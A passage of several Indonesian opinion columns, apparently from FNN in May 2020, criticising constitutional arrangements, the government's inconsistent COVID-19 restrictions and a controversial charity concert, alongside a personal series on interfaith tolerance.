itu. MPR sepanjang tahun 1960 hingga tahun 1966 bekerja dibawah kendali Presiden. Kala itu Presidennya Bung Karno, pria pintar yang terkenal kokoh dengan pendirinnya ini. Apalagi sepanjang tahun-tahun itu, Bung Karno tidak lagi memiliki mitra tanding pikiran kritis yang produktif. Masyumi, partai Islam paling cemerlang urusan akuntabilitas dan responsibilitas, serta paling cerdas dan gigih melintas di atas Rule of Law, telah dipukul telak oleh Bung Karno. Masyumi telah dibubarkan Bung Karno awal tahun 1960. Tahun 1967 Bung Karno resmi kehilangan kekuasaanya. MPR melalui Sidang Istimewa memberhentikan dirinya dari Presiden. Berubahkah keadaan penyelengaraan negara? Paradoks hebat segera menandai perkembangan sesudahnya. Bangsa terlihat nyata tak mampu menjadikan sejarah sebagai guru terbaik. Betul bermunculan begitu banyak gagasan yang berinduk pada rule of law dan demokrasi kala itu. UUD 1945 dan Pancasila dimurnikan. Tata hubungan antar Lembaga Negara dibereskan. Gagasan hak asasi manusia segera naik ke permukaan. Seminar dimana-mana, dan draf TAP MPR tentang HAM berhasil disiapkan BP MPR. Hasilnya? Daniel Lev, Indonesianis dari Seatle University Amerika Serikat, sedari awal telah memperkirakannya. Indonesia, dalam identifikasinya tidak akan cukup dekat pada demokrasi. Mengapa? Masyumi, yang dalam identifikasi keilmuannya sebagai satu-satunya partai yang paling jelas berpegang dan mengamalkan gagasan rule of law, tidak diberi tempat untuk hidup kembali. Itu soal terbesarnya. Persis seperti Bung Karno, presiden baru juga tidak akan mendapat mitra tanding kritis. Terlepas dari soal itu, tanda-tanda awal negara ini hanya akan melanjutkan praktik mirip Bung Karno. Presiden tetap akan berada di puncak semua kekuataan politik dan organ negara. Ini terlihat sedari awal babak baru ini. Pada sidang MPR penetapan Pak Harto menjadi pejabat Presiden misalnya, Pak Harto tidak bersedia mengucapkan sumpah dihadapan Sidang MPR yang dimpimpin Pak Nasution. Sejak saat itu, sebenarnya masa-masa panjang sesuahnya telah ditentukan dan ditetapkan. Suka atau tidak, cukup jelas Indonesia sesudah itu. Indonesia memang bukan Pak Harto, tetapi Indonesia sepenuhnya ditentukan oleh Presiden. MPR, dalam kenyataannya tidak lebih hanya sekadar tukang cap terlatih atas gagasan Presiden. Hingga sepuh kalipun, MPR masih tidak menemukan kreasi gemilang dengan paduan kearifan besar bangsa ini untuk mengakhiri kekuasaan Pak Harto. Aneh? Tidak. Itulah politik. Jalan GBHN Tumpukan sejarah itu, seperti terekam dalam perdebatan anggota Panitia Ad Hoc I dan III Badan Pekerja MPR. Yang benar-benar menginspirasi MPR hasil pemilu 1999. Apalagi gema demokrasi dan rule of law di jalanan begitu mengharu biru. Ini menjadi energy terbesar yang berhasil meyakinkan MPR. MPR pun bergerak cepat. Penuh gairah, entah terasa grasa-gurus atau tidak, memasuki UUD 1945, yang telah teridentiikasi sejumlah pemikir liberal sebagai UUD otoritarian. Tidak bisa diandalkan membawa Indonesia ke kamajuan. Hars diubah. Identifikasi falsifikasi ini ditelan bangsa Indonesia. UUD 1945 akhirnya memasuki fase harus diubah. Presidensialisme mau dimurnikan. Begitu gema awal pemikiran MPR tentang sistem Presidensial. Awalnya untuk hanya membatasi masa jabatan presiden, ternyata tak cukup untuk berhenti disitu. MPR bergerak jauh sekali, dan mengubah banyak hal. Terpukau tanpa bekal yang cukup atas gagasan presidensialisme dan praktiknya yang berabad-abad di Amerika, negeri penemu sistem ini. MPR merancang sistem Presidensial. Kekuasaan membentuk UU yang pada UUD 1945 sebelum diubah diletakan pada Presiden, diubah. Kekuasaan itu dialihkan ke DPR. Hebat? Tidak juga. Sama sekali tidak hebat. Mengapa? Presiden, menurut UUD 1945 yang baru diubah ini, diberi hak ikut bersama DPR membahas UU. Konsekuensinya, bila Presiden tidak mau ikut bahas UU, maka dengan siapa DPR membahas UU? MPR yang semula jadi lembaga tertinggi, dipreteli habis. Hanya disetarakan dengan Presiden. Tersipu dengan gagasan presidensialisme konyol khas Amerika. Tersipu pula dengan demokrasi tipu-tipu juga khas Amerika. MPR lalu meneksplorasi gagasan penyetaraan organ kekuasaan. Berhasil. MPR, DPR, DPD, MA, MK, BPK, dan lainnya, semuanya, disetara. Atas nama kesetaraan, GBHN juga dihilangkan. Begitulah cara MPR memastikan negara ini bergerak maju di garis demokrasi dunia. Padahal demokrasi, dalam tampilan praktisnya di Amerika, justru membuat Presiden menjadi satu-satunya entitas kekuasaan, yang tak tertandingi dalam semua spektrumnya. Boleh saja presiden, dalam lalu lintas keilmuan klasik khas John Locke dan Montesqueu, dinyatakan sekadar pelaksana UU. Tetapi dalam praktinya di Amerika sekalipun, justru berbeda. Presiden, dengan semua atribut konstitusi, yang sebagian besar tak jelas, atau diambil di luar UUD, justru tampil sebagai pemberi defenisi, pengarah, perancang, penentu utama jalannya negara, siapapun presiden itu. Kenyataan ini yang menjadi katrakter kepresidenan Indonesia dalam tahun ke-20 pelaksanaan UUD 1945 yang liberal ini. Presiden, telah muncul menjadi pengarah utama, dan pendefenisi utama jalannya negara ini. Hampir semua aspek bernegara, terserah presiden. Apa katanya, itulah Indonesia. Kebijakan iuran BPJS yang dinilai ngawur. Perpu Corona yang ngaco. Rencana perpindahan ibu kota yang terus eksis. Konsistennya kebijakan TKA asal China. Penanganan corong yang cukup membingungkan. Semuanya sedang terjadi saat ini. Suka atau tidak, merupakan pantulan resmi sistem ini. Pembaca FNN yang budiman, dimana urusan rakyat dan dimana urusan korporasi dalam sistem ini? Sejarah mencatat korporasi selalu menjadi prioritas utama kebijakan negara. Karena mereka punya fulus yang tak terbatas. Dewa demokrasi itu korporasi dan uang, fulus, hepeng, pipi dalam bahasa Ternate. Demokrasi kaya dengan gerak tipu-tipu. Franklin Delano Rosevelt yang dihormati begitu banyak ilmuan tata negara dan politik sebagai Presiden, dalam kampanyenya memukau rakyat Amerika dengan gagasan anti bank. Padahal dia, dalam identifikasi terpercaya Anthony Saton pada buku “Wall Street and FDR” adalah orangnya Wall Street. Du Ponts dan Rockefeller adalah dua kontributor dana terbesar dalam rallynya FDR menuju kursi presiden 1933. Begitu Herbert Hover, yang semasa pemerintahannya depresi ekonomi besar 1929-1933 berawal, tahu Du Ponts dan Rockeffeler mengalihkan dukungan ke Franklin D. Rockeffeler, dia pun segera tahu bahwa dia akan kalah. Mengapa mereka mengalihkan dukungan? Herbert Hover, yang didukunhg pada kampanye presiden tahun 1928, ternyata keras kepala. Dia tidak mau melaksanakan Swope Plan. Plan ini dibuat oleh George Swope, presiden General Electric. Disisi lain, FDR malah bersedia melaksanakan plan ini. Benar, FDR merealisasikan plan pada pemerintahnnya dengan membuat National Industrial Recovery Act (NIRA). Pembaca FNN yang dimuliakan Allah Yang Maha Pengasih dan Penyayang, bagaimana bangsa ini harus menemukan jalan besar untuk bisa bermartabat dimasa datang? Hidupkan lagi GBHN. Ubah lagi UUD 1945, yang saat ini sangat liberal ini. Tata ulang relasi fungsi antara Presiden dan MPR. Pastikan bahwa Indonesia tidak terserah pada presiden. Dalam tata ulang relasi MPR-Presiden, bangsa ini harus tahu cara kerja Wall Street. Tetapi bangsa ini harus faham sindrom Walter Rathenau, perencana ulung dari Jerman, dan Bernard Baruch, perencana ulung Amerika pada masa Wodrow Wilson Presiden. Perencanaan tertata, bila tak dikawal dengan baik, Menjadi sah bila korporasi ikut menanamkan kepentinganya mereka. Semoga. Penulis adalah Pengajar Hukum Tata Negara Universitas Khairun Ternate

Rakyat Marah Karena Pemerintah Dianggap Plin-Plan

By Tony Rosyid Jakarta FNN – Senin (25/05). Plin-plan. Itulah kesan rakyat terhadap pemerintah terkait pelaksanaan PSBB. Berawal pada bulan januari lalu, pemerintahan Jokowi tidak percaya kalau covid-19 bakalan hijrah ke Indonesia. Coloteh sejumlah menteri bikin gemes. Salah prediksi membuat rapuh pertahanan. Saat covid-19 masuk dan menginveksi. Pemerintah pimpinan Jokowi lalu gagap. Sama sekali nggak siap. Lalu bingung dan panic menjadi pemandangan yang gampang disaksikan. Sementara nyawa terus berjatuhan. Satu-persatu mati, hingga puluhan, ratusan, bahkan ribuan sekarang. Setelah didesak untuk terapkan lockdown, bahasa yuridisnya karantina, akhirnya muncul yang namanya PSBB. Meski telat dan sangat alot. PSBB merupakan yang terobosan cerdas. Walaupun akan lebih efektif jika pemerintah pusat yang mengoperasikannya sendiri. Tak menyerahkan secara teknis kepada kebijakan pemerintah daerah. Ada kesan cuci tangan. Juga ingin aman. Lepas ada kekurangan sana sini, namun PSBB cukup berhasil kendalikan penyebaran covid-19. Beberapa daerah, termasuk Jakarta, tingkat penyebaran turun. Di Jakarta, penurunan sampai pada level 0,9 - 1,2 persen. Ini bukti PSBB terukur dampaknya. Tapi sayangnya, sejak Menteri Perhubungan membuka kembali "public transportation", covid-19 jadi mengamuk lagi. Angka penyebaran naik kembali. Ratusan per hari untuk Jakarta. Secara nasional, hampir menembus angka 1.000 per hari. Tampak di pasar, mall dan bandara, kerumunan manusia padat lagi. Berjubel manusia saling menularkan virus. Dua minggu terakhir, jalanan di Jakarta pun padat kembali. Hampir tak ada lagi bedanya dengan waktu sebelum adanya covid-19. Relaksasi PSBB yang diwacanakan Mahfud MD, Menkopolhukam ini, nampaknya berhasil. Rakyat merasa bebas dan merdeka kembali. Puncaknya, ketika pemerintah pusat membuat konser covid-19. Pakai hadiah Motor Gesit lagi. Hadiah atau lelang? Menurut M. Nuh, itu hadiah. Sayangnya, motor bertanda tangan presiden tak bisa dia miliki. Keburu ditangkap polisi. Prank! Sementara di sisi lain, shalat jum’atan, shalat taraweh berjama'ah dan shalat IDUL FITRI dilarang. Selama ini, umat Islam terlihat menerima saja. Taat aturan saja. Walaupun tetap satu dua kasus ada yang nggak juga disiplin. Namun masih dalam taraf wajar. Secara umum, umat Islam patuh saja. Aturan pemerintah dimengerti, dan dinilai dengan baik. Ini demi untuk menjaga kesehatan rakyat, dan upaya mengendalikan penyebaran covid-19. Semua ingin pandemi ini cepat bisa berakhir. Namun, ketika pasar, mall dan bandara berjubel manusia. Tidak ada protab tentang kesehatan, maka umat Islam mulai marah. "Apa-apaan ini. Kami disuruh tutup masjid, dan sholat berjamaah di rumah. Sementara pasar, mall, jalan raya dan bandara bebas manusia berinteraksi." "Ini bentuk nyata dari penghianatan". Begitulah kira-kira menurut Prof. Dr. Din Syamsudin dan Aa Gym. Merepresentasikan betapa geramnya Umat Islam. Tidak hanya Umat Islam, tetapi seluruh umat beragama merasa dikhianati. Kecewa, tentu saja. Dan kekecewaan tersebut, sebagian diekspresikan dalam bentuk kemarahan. Seorang kakek terlihat membongkar blokade jalan raya. Sejumlah polisi hanya diam menyaksikan ulah si kakek itu. "Hari Raya Idul Fitri adalah Hari Kebebasan, Hari Kesenangan. Ora carane kaya ngene. Iki jenenge kelakuan iblis, kelakuan setan", kata si kakek itu dalam video yang viral di medsos. Kabarnya, ada kepala desa yang digebukin warga karena melarang shalat IDUL FITRI. Kasus Habib Umar Sagaf Bangil Pasuruan Jawa Timur sempat jadi heboh. Sang Habib ini ribut sama petugas ketika ditegur karena tak mengikuti protab dalam berkendara mobil. Hingga adu fisik dengan Satpol PP. Lagi dengan di Jogja. Hampir semua ulama di Jogja sepakat untuk mengadakan shalat IDUL FITRI. Meskipun presiden melarangnya. Mereka tidak peduli. Bahkan beberapa hari sebelumnya, sebagian masyarakat Riau juga protes terhadap PSBB. Kenapa ini semua terjadi? Karena rakyat kecewa kepada pemerintah yang dianggap plin-plan dan tak konsisten dengan aturan PSBB yang dibuatnya sendiri. Apalagi, munculnya Perppu No 1 Tahun 2020 telah lebih dulu membuat curiga rakyat. Perppu corona yang telah diketuk DPR menjadi UU No. 2 Tahun 2020 ini dianggap oleh banyak pihak berpeluang memanfaatkan pandemi untuk korupsi. Ngeri! Sejumlah kasus kemarahan rakyat di sejumlah tempat boleh jadi hanya merupakan ekspresi kekecewaan mereka kepada pemerintah yang nggak konsisten. Kemarahan ini kemudian dilampiaskan kepada obyek yang mereka temui. Kepala desa, aparat kepolisian, pengurus masjid, dan apa saja yang mereka anggap menghalangi. Dalam ilmu psikologi, ini namanya "jumping out" . Melampiaskan kemarahan kepada pihak yang tidak semestinya. Dengan sejumlah kasus yang muncul di masyarakat, pemerintah mestinya mau melakukan introspeksi. Soal yang satu ini pemerintah sering abai. Egois dan nggak mau peduli. Merasa punya kekuasaan. Pejamkan mata dan tutup telinga. Apapun sikap yang akan diambil pemerintah, semua akan ada konsekuensi politiknya. Jika situasi tak mujur, ini berpotensi jadi trigger dan bisa sangat berbahaya buat penguasa. Penulis adalah Pengamat Politik dan Pemerhati Bangsa

Jangan Ajari Saya Toleransi dan Pancasila (8): Islam Ajarkan Saling Kenal

Tiga putra saya bebas berteman dengan siapa pun, agama apa pun dan dari suku apa pun. Hanya selalu saya ingatkan, jangan tinggalkan shalat dan jangan mau terpengaruh dan dipengaruhi ajaran agama manapun, selain ajaran Islam. Oleh Mangarahon Dongoran Jakarta, FNN - TOLERANSI perlu dirajut, sehingga bibit-bibit permusuhan bisa segera musnah. Toleransi sangat ditanamkan dalam ajaran Islam dan juga Pancasila. Tanpa toleransi, pertemanan, persahabatan akan tercabik-cabik. Bahkan bisa ke tingkat yang lebih luas. Tanpa toleransi, kerukunan di tingkat lingkungan akan hambar, toleransi di level negara akan merana. Membangun toleransi itu harus dimulai dari diri sendiri, keluarga, lingkungan dan seterusnya. Tanpa diawali dari diri dan keluarga sendiri, toleransi itu hanya sebuah basa-basi. Ya, saya ambil contoh persahabatan saya dengan Marsia Hutauruk yang sekarang sudah menjadi pendeta di Pulau Nias Sumatera Utara. Kami membangun persahabatan karena saling memahami posisi masing-masing. Bagi saya berteman dengan siapa pun, apa pun agama dan suku apa pun tidak masalah. Dalam hal agama Al-Qur'an mengajarkan saya, "Bagi kamu agama kamu, bagi saya agama saya."Al-Qur'an juga memerintahkan agar saling kenal-mengenal."Wahai manusia! Sesungguhnya Kami telah menciptakan kamu dari seorang laki-laki dan seorang perempuan dan kemudian kami jadikan kamu berbangsa-bangsa dan bersuku-suku supaya kamu saling kenal-mengenal. Sesungguhnya orang yang paling mulia di antara kamu di sisi Allah ialah orang yang paling bertakwa di antara kamu. Sesungguhnya Allah Maha Mengetahui lagi Maha Mengenal. (Al-Hujarat ayat 13). Saling kenal-mengenal itu adalah perintah Allah Subhanahu Wa Ta'ala melalui Al-Qur'an. Karena itu perintah dari Allah Yang Maha Kuasa, maka saya wajib melaksanakan dan mengamalkannya. Tentu, saling mengenal di sini bagi saya ada batasan yang tegas, yaitu agama lain jangan coba-coba mengusik aqidah saya dan keluarga. Jangan coba-coba mempengaruhi saya dengan berbagai hal yang bertentangan dengan ajaran Islam. Sepanjang hal itu menyangkut pergaulan tidak masalah. Bukankan tiap hari umat Islam selalu berintegrasi atau berhubungan dengan agama lain dalam hal jual-beli atau bisnis? Tidak pernah ada masalah, dan selama ini semua berjalan bagaikan air mengalir. Itulah indahnya toleransi yang sudah dibangun secara turun-temurun di bumi Pancasila ini. Atas dasar perintah saling mengenal itu juga saya menanamkan kepada ketiga anak saya agar bergaul boleh dengan siapa saja, dari suku mana saja dan agama manapun. Tetapi, ingat, jangan meninggalkan shalat. Jika bergaul dengan agama lain, ketiga anak saya yang sejak TK sampai SMP selalu di sekolah Islam (kecuali anak ketiga yang lanjut ke Pondok Modern Gobtor dan kini kuliah di UIN Sunan Kalijaga, Yogjakarta) saya wanti-wanti agar jangan mau dipengaruhi ajaran agama lain, selain Islam. Karena perintah saling mengenal itu, saya juga tidak ambil pusing berteman dengan siapa pun. Sebagai wartawan yang sejak tahun 2000 hampir selalu pake peci ke lapangan, saya bergaul dengan berbagai narasumber, termasuk yang beragama Kristen, Budha dan Hindu. Malah salah seorang pengusaha beragama Katolik cukup fanatik (saya tahu dia penyandang dana sejumlah gereja dan sekolah Katolik), sering meledek janggut saya yang panjang. Suatu ketika saya agak kaget dibuatnya, karena mengatakan, "Makin panjang saja ini jenggot," katanya sambil memegang jenggot saya. Hal itu dilakukannya dalam beberapa kali saya bertemu dengannya. Kalau saya intoleran, sudah pasti marah. Tidak ada batas Saling mengenal tidak ada batas. Yang menjadi pembatasnya adalah ketakwaan. Karena dengan siapa pun kita berteman, yang paling mulia di sisi Allah ialah orang yang paling takwa. Jadi jelas batasannya, ketakwaan. Karena perintah saling mengenal itu juga, selain dengan teman SMP, saya juga masih menjalin pertemanan dengan kawan semasa kuliah yang berbeda agama dengan saya. Saya berteman akrab dengan Effy namanya. Sebenarnya, semua teman semasa kuliah yang non-muslim pun masih berteman lewat WA grup dan sekali-sekali mengadakan pertemuan. Cuma kadang teman agama lain di grup itu seringkali menulis hoax (bohong) atas beberapa postingan saya. Ini terjadi hanya karena berbeda sudut pandang dalam membacanya. Atau mungkin hanya karena perbedaan pilihan politik. Effy yang sekarang tinggal di Kediri, Jawa Timur adalah salah satu teman kelompok diskusi saya. Ada Fatmawati (biasa dipanggil Gadis), sekarang di Banda Aceh, ada Sabri Piliang (Jakarta), Darmadji (Pekanbaru), M.Tarokoh (Tangerang), almarhum Achmad Furqon, Sri Handayani (Australia). Ada cerita menarik dari Effy. Ketika saya kabari anak saya nomor 3, Sultan Ucok Sulainan Dongoran sekolah di Pondok Modern Gontor, Ponorogo, Effy meminta saya agar mampir ke Kediri. Akan tetapi, sampai tiga tahun anak di Ponorogo, saya tidak sempat memenuhi permintaannya itu. Padahal, saya sudah menjawab, "Insya Allah akan mampir." Alhamdulillah, tahun ke-4, anak saya ditugaskan ke Gontor 3 Kediri. Saya pun mengabari Effy tentang itu. Effy yang mendapatkan kabar itu langsung mengatakan, harus mampir ke rumahnya. "Awas ya, Hon, kalau ke Kediri gak mampir, " begitu kalimat yang masih saya ingat. Saya menjanjikan akan mampir. Alhamdulillah, janji itu terwujud pada awal Agustus 2015. Saya ke Kediri bersama istri dan anak kedua. Saya ke Kediri sekalian meliput Muktamar Nahdhlatul Ulama ke-33, di Jombang. Jarak Kediri dan Jombang cukup dekat dengan menggunakan kereta api. Saya kabari Effy tentang rencana kedatangan saya. "Pokoknya ditunggu," katanya. Ketika pagi hari kami turun di Stasiun Kereta Api Kediri, ternyata Effy dan karyawan suaminya sudah menunggu. Mobil sudah siap membawa kami. Oh ya, karena kami masuk pagi hari, Effy membawa kami sarapan pagi di sebuah warong soto. Katanya, soto cukup terkenal di KotaKediri. (Bersambung)** Penulis, Wartawan Senior

Kembali ke Fitrahnya Konstitusi Negara

By M. Rizal Fadillah Jakarta FNN – Senin (25/05). Setelah "diacak-acak" oleh semangat demokratisasi, maka ternyata Konstitusi dikotori oleh perlilaku politik yang menunggangi. Mencuri kedaulatan rakyat untuk memperkuat pemerintahan. Sayangnya, profil Presiden yang terlihat lemah, sehingga Konstitusi yang dibuat dan dilahirkan dengan susah-payah oleh para pendisi bangsa, hanya barang menjadi mainan. Tafsir terhadap kebenaran berdasarkan konstitusi dibuat seenaknya saja oleh Presiden. Tujuanya, untuk membingkai pelanggaran dengan kepalsuan kekuasaan. Tragisnya, kesalahan yang dibuat oleh tersebut, mendapatkan pembenaran dari DPR. Contoh paling nyata, DPR membiarkan hilagnya hak budgeting terhadap APBN yang daimbil oleh pemerintah selama tiga tahun ke depan. Pemerintahan Jokowi tercatat paling parah dalam penghormatan terhadap Konstitusi. Dimulai dari kelicikan pelaksanaan Pemilu, pelanggaran HAM, hingga penyalahgunaan Perppu Corona. DPR mampu dikendalikan dengan sangat mudah. Mozaik dan konstelasinya bisa digeser geser. Kewenangan diubah menjadi kesewenang-wenangan. Kini saatnya kembali kepada fitrah Konstitusi, yakni “UUD 1945 yang asli”. UUD 1945 yang diundangkan pada tanggal 18 Agustus 1945. UUD 1945 yang belum tercemari oleh banyaknya kepentingan jangka pendek. New normal adalah ekuilibrium. UUD 1945 yang mengembalikan kedaulatan pada rakyat. Kedaulatan yang menempatkan wakil-wakilnya pada tempat yang terhormat. UUD 1945 yang menempatkan MPR sebagai memegang kekuasaan tertinggi negara. Presiden pun harus berada di bawah rakyat melalui MPR. Tujuannya, agar presiden tidak arogan, masa bodoh, atau hanya memperbesar kekuasaan dan kekayaan diri saja. Lima urgensi untuk kembali ke UUD 1945 yang asli. Pertama, kembali pada filosofi berbagsa dan bernegara yang digariskan oleh "the founding fathers", baik mengenai konsepsi kedaulatan, negara hukum, fondasi perekonomian, dan sebagainya. Kedua, MPR kembali berwibawa dan menjadi lembaga yang disegani oleh Presiden. Sebab MPR yang dapat menentukan Garis-garis Besar Haluan Negara (GBHN). Dampaknya, siapapun yang memerintah harus tunduk dan mengikuti arah yang digariskan oleh rakyat melalui MPR. Ketiga, melakukan penghematan biaya secara signifikan untuk pemilu Presiden/Wapres. Juga dapat memperkecil kemungkinan terjadinya gesekan sosial di masyarakat akibat kompetisi terbuka yang bersifat transaksional. Selain itu, dapat menghindari jatuhnya korban yang besar dari Penyelenggara Pemilu, yang mendekati ribuan anak bangsa. Keempat, pengaturan tentang kebijakan strategis dapat kembali dituangkan dalam berbagai Ketetapan MPR. Tidak seperti sekarang, dimana soal "haluan ideology negara" dipaksakan menjadi konten RUU. Sangat mungkin terjadi salah kaprah, dan bisa menjadi sebab dari pembelokkan makna. Juga untuk menghindari penyeludupan edeologi komunis dan PKI. Kelima, sebagaimana Dekrit 5 Juli, yang menempelkan "Piagam Jakarta" menjadi kompromi ideologis. Maka akibatnya, kita tidak perlu lagi mundur-maju hnya untuk diskursus Pancasila dan UUD 1945. Implementasi sudah merupakan tuntutan yang prioritas, logis, dan konkrit. Kembali ke UUD 1945 adalah dasar bagi solusi memecahkan persoalan bangsa. Kembali ke UUD 1945 yang asli adalah kembali ke fitrah Konstitusi. Kembali untuk melururuskan arah dan kiblat perjuangan bangsa Indonesia. Sekaligus kembali menghormati kerja keras dari para pendiri bangsa. Kembali ke UUD 1945 adalah pilihan strategis untuk new normal politics setelah kondisi kini yang luar biasa carut-marut. Diombang-ambingkan oleh permainan kekuasaan yang sangat kasar dan bodoh. Menari-nari di tengah ketidakberdayaan dan penderitaan rakyat. Penulis adalah Pemerhati Politik dan Kebangsaan

Jangan Ajari Saya Toleransi dan Pancasila (7): Berteman dengan Pendeta

Sebagai pendeta, banyak yang tidak menyukai Marsia, termasuk pendeta. Sebab, ia selalu berbicara apa adanya dan tidak memakan babi. Oleh Mangarahon Dongoran Jakarta, FNN - KEMBALI ke FB saya yang diserang pendukung penjual lapo tuak itu, saya menantang mereka satu per satu untuk membuktikan bagaimana membangun dan menjalin toleransi itu. Saya menjelaskan, bagi saya menjual minuman keras itu haram dan melanggar aturan perundang-undangan. Penjualan tuak di bulan suci Ramadhan dan dijual di tengah mayoritas Islam, jelas menunjukkan sikap tidak toleran, dan bahkan sangat angkuh. Ketika ada seorang bertanya, "Apakah saya salah jika hanya sendiri atau satu keluarga di tengah kaum muslim kemudian minum tuak?" Saya jawab, kalau minumnya di dalam rumah dan tidak mabuk serta teriak-teriak keluar itu urusan Anda. Akan tetapi, tentu ada tatakrama lingkungan yang harus dijaga dan dipatuhi. Saya pun mengatakan, jjka saya seorang Muslim dan tinggal di tengah mayoritas Kristen dan tiap hari memutar kaset atau saya membaca Al-Qur'an keras, apakah Anda tidak terusik? Pertanyaan saya itu dijawab nyeleneh. "Itu perbandingan yang ngawur," begitu jawaban atas pertanyaan saya itu. Saya menceritakan tentang kawan saya semasa SMP yang Kristen dan sekarang menjadi pendeta di Pulau Nias, Sumatera Utara. Meski saya pake jenggot, peci putih, pakaian gamis, dan dia pendeta, komunikasi kami berjalan baik. Padahal, sejak tamat tahun 1979, kami tidak pernah ketemu secara fisik. Marsia Hutauruk nama teman saya itu. Jum'at, 8 Mei 2020 siang, saya menyapanya lewat WA. Kemudian dilanjutkan percakapan lewat telefon hampir satu jam. Kami membicarakan banyak hal, termasuk toleransi, tentang lapo tuak yang Deli Serdang, Sumut yang ditutup warga bersama FPI, dan tentu masa-masa SMP dulu, karena banyak yang mengatainya kafir. Ia menyebutkan, dari sekian banyak teman SMP yang sempat bertemu di media sosial, hanya saya yang masih komunikasi. Yang lain (saya tidak menulis namanya, meski Marsia menyebutnya), sudah hilang kontak. Ia heran kenapa teman-teman menghapus pertemanan. "Saya heran juga, sementara kamu yang pake jenggot dan peci putih tidak menghapus pertemanan dengan saya," katanya. Dia bercerita, meski sudah jadi pendeta, tidak masalah dengan agama Islam dan agama lain. Sebab, dia juga punya saudara dan famili yang masuk Islam atau mualaf, dan juga saudara yang sudah turun-temurun beragama Islam. Marsia bercerita, sebagai pendeta, banyak yang tidak menyukainya, termasuk tidak disukai sesama pendeta sendiri. Sebab, ia bicara apa adanya dan tidak pernah memikirkan penghasilan dari kegiatannya itu. Terlebih lagi kawan ini juga tidak makan babi dan menenggak minuman keras. "Kalau datang ke acara, ya nasik kotak isinya itu (babi). Padahal saya tidak memakanya. Haram bagi saya," katanya. Prihatin Kepada mereka yang memakannya saya katakan, "Itu harum bagi kamu, tapi haram bagi saya." Saling menghormati itu sangat penting. Ia juga prihatin dengan peristiwa penjualan tuak di saat umat Islam melaksanakan ibadah puasa. Ketika saya posting berita penangkapan Geral Lundu Nainggolan karena menghina Nabi Muhammad dan Habib Bahar, ia pun mengatakan tidak boleh saling menghina. "Itu tdk boleh saling menghina & menjelekkan, apalagi situasi sekarang lagi menghadapi ujian berat covid 19. Ada-ada saja. Tidak punya hati nurani. Harus saling menghormati dan menghargai apalagi masalah agama. Bagaimana manusia seperti itu ya?" kata Marsia dalam pesan yang dikirim ke WA saja. (Bersambung)** Penulis, Wartawan Senior

Bamsoet Kok yang Paling Sibuk Dalam "Konser Prank", Ada Apa?

Oleh: Tjahja Gunawan Jakarta, FNN - Acara konser berbagi kasih bersama para seniman dan musisi yang digelar akhir pekan lalu, masih menyisakan sejumlah tanda tanya meskipun masalah lelang motor listrik sudah bisa diatasi. Pemenang lelang sudah dialihkan dari warga Jambi M. Nuh pada anaknya pengusaha media Hary Tanoe. Sejak acara konser digelar hingga pelaksanaan lelang susulan pada hari Jumat lalu, Bambang Soesatyo terlihat orang yang paling sibuk. Padahal, pelaksana kegiatan konser ini adalah Badan Pembinaan Ideologi Pancasila (BPIP), lembaga yang berada langsung di bawah Presiden. Lalu dalam acara tersebut Bambang Soesatyo kapasitasnya sebagai apa? Sebagai Ketua MPR-RI? Atau sebagai pengusaha karena dalam acara konser itu Bamsoet juga menggandeng Ketua Umum Kadin Indonesia Rosan Roeslani. Justru unsur pimpinan MPR-RI periode 2019-2024, tidak ada satu pun yang hadir di acara tersebut. Kecuali diantaranya hadir secara virtual. Dalam acara press conference sekaligus klarifikasinya, Bamsoet menyebut dirinya sebagai penanggungjawab acara konser tersebut. "Jujur saya tidak enak hati dengan Presiden Jokowi, karena saya yang meminta beliau. Beliau tidak tahu apa-apa. Untuk itu saya sebagai penanggung jawab, atas nama panitia mohon maaf yang sebesar-besarnya kepada Presiden Jokowi sekaligus ucapan terima kasih yang luar biasa atas keikhlasannya memberikan bantuan motor listrik yang ditandatangi sendiri oleh beliau," kata Bamsoet ketika mengawali pernyataan klarifikasnya pada wartawan. Jika menyimak narasi dan diksi yang disampaikan Bamsoet, jelas dia bukan dalam kapasitas sebagai Ketua MPR-RI. Sebab dalam praktek ketatanegaraan, posisi Ketua MPR-RI sesungguhnya lebih tinggi dari Presiden. Sehingga dalam berbagai acara kenegaraan, Ketua MPR-RI lazimnya menyebut kata "saudara" kepada Presiden. Tajir melintir Nah kalau bukan sebagai Ketua MPR, masyarakat bisa saja menduga Bamsoet sedang menjadi EO atau penyelenggara kegiatan konser yang diadakan BPIP. Tapi masyarakat pun bisa bertanya lagi: Pantaskah seorang Bamsoet yang nota bene sebagai Ketua MPR merangkap sebagai EO ? Bagaimanapun jabatan dan pangkat itu tetap melekat pada diri seseorang. Nama Bamsoet tidak bisa dilepaskan dari jabatannya sebagai Ketua MPR-RI. Kok bisa sih dia menjadi EO? Bukankah Bamsoet sudah tajir melintir, dimana berdasarkan Laporan Hasil Kekayaan Pejabat Negara (LHKPN) tahun 2018, harta kekayaan Ketua MPR-RI dari Fraksi Golkar ini sebesar Rp 98.019.420.429 (Rp 98 milyar lebih). Sebagian besar harta kekayaan Bamsoet berupa tanah dan bangunan yang bernilai Rp 71.217.095.000. Sementara itu, harta berupa alat transportasi dan mesin berjumlah Rp 18.560.000.000. Tercatat, ada 13 kendaraan yang ia miliki, seperti motor Harley Davidson, mobil Rollsroyce Phantom Sedan, dan lain-lain. Dengan kata lain, kalaupun Bamsoet mau membantu masyarakat yang terdampak atau menjadi korban dari wabah Covid19, maka dia pribadi sebenarnya bisa memberikan sumbangan langsung kepada pihak-pihak yang membutuhkan bantuan. Cara lainnya, bisa saja Bamsoet menggelar acara lelang sendiri dengan misalnya melelang sebagian kendaraan mewahnya untuk disumbangkan bagi kepentingan penanganan wabah Covid19. Atau katakanlah dalam acara konser BPIP itu dia ingin berpartisipasi lebih, maka Bamsoet bisa saja ikut menawar motor listrik yang dilelang itu. Ini kok seperti sengaja dibuat drama yang akhirnya berujung pada tragedi. Karena kemudian menjadi bahan cemoohan masyarakat setelah lelang motor listrik tersebut berhasil di prank oleh M. Nuh, seorang buruh yang tinggal di Jambi. Celakanya, Bamsoet menuding komentar dari para netizen sebagai gorengan. Padahal, yang terjadi justru acara konser tersebut seperti sebuah dagelan politik yang tidak lucu. Tragedi konser BPIP justru menunjukkan kepada dunia bahwa para pemimpin di Indonesia ini tidak kompak dalam menghadapi pandemi covid-19 ini. Kebijakan yang telah dibuat dalam menghadapi pencegahan penyebaran Covid19 kemudian dirubah sendiri oleh pemerintah. Belum lagi koordinasi antara pemerintah pusat dengan Pemda yang sangat buruk. Manajemen pemerintah yang menyedihkan ini kemudian ditambah dengan persoalan "Konser Prank" BPIP yang amburadul. Keadaan ini semakin menambah ketidakpercayaan 